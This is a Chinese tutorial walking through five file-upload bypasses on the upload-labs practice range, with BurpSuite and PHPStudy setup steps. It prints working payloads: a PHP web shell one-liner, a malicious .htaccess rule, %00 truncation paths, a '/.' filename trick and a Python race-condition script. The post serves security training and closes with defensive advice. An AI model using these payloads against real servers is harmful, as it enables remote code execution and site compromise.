news 2026/5/3 17:04:37

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

在渗透测试的学习过程中,文件上传漏洞一直是Web安全领域的重要课题。upload-labs靶场作为专门针对上传漏洞设计的实战环境,包含了19种不同类型的上传绕过场景。本文将聚焦五种最具代表性的绕过技术,结合BurpSuite和PHPStudy工具链,从环境配置到实战操作,手把手带你攻克这些经典关卡。

1. 环境准备与基础配置

1.1 PHPStudy环境搭建与调优

首先需要确保PHPStudy环境正确配置。许多初学者在复现upload-labs时会遇到PHP版本不兼容的问题,特别是涉及特殊后缀解析(如.php5、.phtml)的关卡。以下是关键配置步骤:

  1. 下载并安装最新版PHPStudy(推荐V8.1版本)
  2. 修改httpd-conf文件中的PHP解析规则:
    # 原始配置(注释状态) #AddType application/x-httpd-php .php .phtml # 修改为(移除注释并扩展后缀) AddType application/x-httpd-php .php .phtml .php5 .php3
  3. 调整php.ini中的关键参数:
    magic_quotes_gpc = Off ; 影响%00截断的关键设置 short_open_tag = On ; 允许<?短标签

注意:修改配置后必须重启Apache服务才能生效。若遇到端口冲突,可在PHPStudy面板中修改默认80端口。

1.2 BurpSuite抓包环境配置

BurpSuite是分析上传漏洞的利器,正确配置代理至关重要:

  1. 浏览器设置代理为127.0.0.1:8080
  2. 在BurpSuite的Proxy -> Options中确认监听端口
  3. 安装CA证书以避免HTTPS流量拦截问题:
    # 证书安装命令(Windows) certmgr.msc

常见问题排查表:

问题现象可能原因解决方案
无法拦截HTTP请求代理未生效检查浏览器代理设置
HTTPS网站显示异常证书未信任重新安装CA证书
拦截后页面加载失败拦截模式错误关闭Intercept或调整Scope

2. 黑名单绕过:.htaccess攻击实战

2.1 原理剖析

当服务器采用黑名单机制时,攻击者可通过上传.htaccess文件覆盖Apache解析规则。这种攻击在upload-labs第4关尤为典型:

  1. 服务器仅禁止.php.php5等后缀
  2. 未限制.htaccess文件上传
  3. 通过该文件将任意后缀(如.png)解析为PHP

2.2 分步操作指南

  1. 创建恶意.htaccess文件:
    AddType application/x-httpd-php .png
  2. 使用BurpSuite拦截上传请求:
    • 修改Content-Type: text/plain
    • 确保文件名保持.htaccess不变
  3. 上传PHP代码文件(后缀改为.png):
    <?php system($_GET['cmd']);?>
  4. 访问上传的.png文件,附加命令参数:
    http://target/upload/shell.png?cmd=whoami

关键点:部分Windows系统无法直接创建.htaccess文件,可通过以下命令生成:

echo AddType application/x-httpd-php .png > .htaccess

3. %00截断:白名单绕过的经典手法

3.1 技术背景

%00截断是PHP历史版本(<5.3.4)的特性漏洞,在upload-labs第11、12关中需要此技术。其核心原理是:

  • NULL字符(%00)会终止字符串处理
  • 可截断白名单校验后的路径拼接
  • 需要magic_quotes_gpc=Off环境

3.2 实战演示

以第11关为例的操作流程:

  1. 上传合法后缀文件(如test.png)
  2. BurpSuite拦截POST请求,修改路径参数:
    save_path=../upload/shell.php%00
  3. 观察响应中的文件存储位置:
    • 预期结果:文件应保存为shell.php
    • 错误情况:若仍为.png后缀,检查PHP版本

对于第12关(POST型截断),需要额外进行URL解码:

  1. 原始修改:
    save_path=../upload/shell.php%00
  2. 选中%00右键选择Convert selection -> URL -> URL-decode
  3. 发送请求后验证文件解析

版本兼容性对照表:

PHP版本magic_quotes_gpc截断效果
5.2.17Off有效
5.4.45Off无效
7.0.0+任何设置无效

4. 条件竞争:时间差攻击的艺术

4.1 漏洞机理

当服务器采用"上传-校验-删除"流程时(如第17关),可能通过条件竞争在删除前访问文件。这种攻击依赖:

  1. 文件上传后短暂存在于服务器
  2. 校验删除操作存在时间窗口
  3. 高速并发访问可能命中该窗口

4.2 BurpSuite自动化攻击

  1. 正常上传PHP文件并拦截请求
  2. 发送到Intruder模块,设置空载荷
  3. 配置线程数为50+,持续发送请求
  4. 同时浏览器不断刷新访问该PHP文件

优化攻击的Python脚本示例:

import requests import threading target_url = "http://target/upload/shell.php" upload_url = "http://target/upload.php" def upload(): while True: requests.post(upload_url, files={'file': open('shell.php','rb')}) def access(): while True: r = requests.get(target_url) if r.status_code == 200: print("Success!") break threads = [] for _ in range(10): t = threading.Thread(target=upload) t.start() threads.append(t) for _ in range(30): t = threading.Thread(target=access) t.start() threads.append(t)

5. move_uploaded_file特性利用

5.1 函数特性分析

第19关展示了move_uploaded_file()的特殊行为:

  • 自动忽略文件末尾的/.
  • 不受路径规范化影响
  • 可绕过部分后缀检查

5.2 完整攻击链

  1. 准备正常图片文件(如1.png)
  2. BurpSuite拦截上传请求,修改文件名:
    filename="1.png/."
  3. 服务器端实际保存为1.png
  4. 配合文件包含漏洞执行代码

对比其他关卡,该技术的独特优势:

技术类型依赖条件适用版本
.htaccessAllowOverride All所有Apache
%00截断PHP<5.3.4旧版环境
条件竞争存在时间窗口所有环境
move特性函数实现特性所有PHP版本

6. 防御方案与实战建议

6.1 安全开发规范

  1. 采用白名单验证文件后缀
  2. 文件重命名存储(如MD5值)
  3. 禁用危险函数(如putenv
  4. 设置open_basedir限制访问范围

6.3 渗透测试技巧

  • 多维度测试组合:
    graph LR A[前端绕过] --> B[Content-Type修改] B --> C[后缀大小写] C --> D[特殊字符截断] D --> E[二次渲染绕过]
  • 真实环境与靶场差异:
    • CDN可能拦截恶意上传
    • WAF规则需要针对性绕过
    • 容器特性影响解析行为

在本地复现时遇到最多的问题是PHPStudy环境配置不当导致解析异常。建议每次修改配置后:

  1. 重启所有相关服务
  2. 清除浏览器缓存
  3. 使用全新测试文件验证
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 17:03:35

终极免费OCR解决方案:如何用Umi-OCR离线批量识别图片文字

终极免费OCR解决方案&#xff1a;如何用Umi-OCR离线批量识别图片文字 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片&#xff0c;PDF文档识别&#xff0c;排除水印/页眉页脚&#xff0c;扫描/生成二维码。内置多国…

作者头像 李华
网站建设 2026/5/3 17:02:40

终极显卡优化指南:3步掌握NVIDIA Profile Inspector免费调校神器

终极显卡优化指南&#xff1a;3步掌握NVIDIA Profile Inspector免费调校神器 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 还在为游戏卡顿、画面撕裂而烦恼吗&#xff1f;NVIDIA Profile Inspector这…

作者头像 李华
网站建设 2026/5/3 17:00:33

3大平台统一体验:JHenTai如何重塑你的E-Hentai漫画阅读方式

3大平台统一体验&#xff1a;JHenTai如何重塑你的E-Hentai漫画阅读方式 【免费下载链接】JHenTai A cross-platform manga app made for e-hentai & exhentai by Flutter 项目地址: https://gitcode.com/gh_mirrors/jh/JHenTai 你是否曾在手机、平板和电脑之间切换阅…

作者头像 李华
网站建设 2026/5/3 16:56:44

Dify插件开发指南:扩展AI工作流与自定义工具集成实践

1. 项目概述&#xff1a;一个为Dify打造的插件生态工具箱如果你正在使用Dify构建AI应用&#xff0c;并且已经感受到了其工作流编排的强大&#xff0c;但偶尔也会觉得“要是能直接调用某个外部API就好了”或者“这个数据处理步骤如果能封装成标准组件就更方便了”&#xff0c;那…

作者头像 李华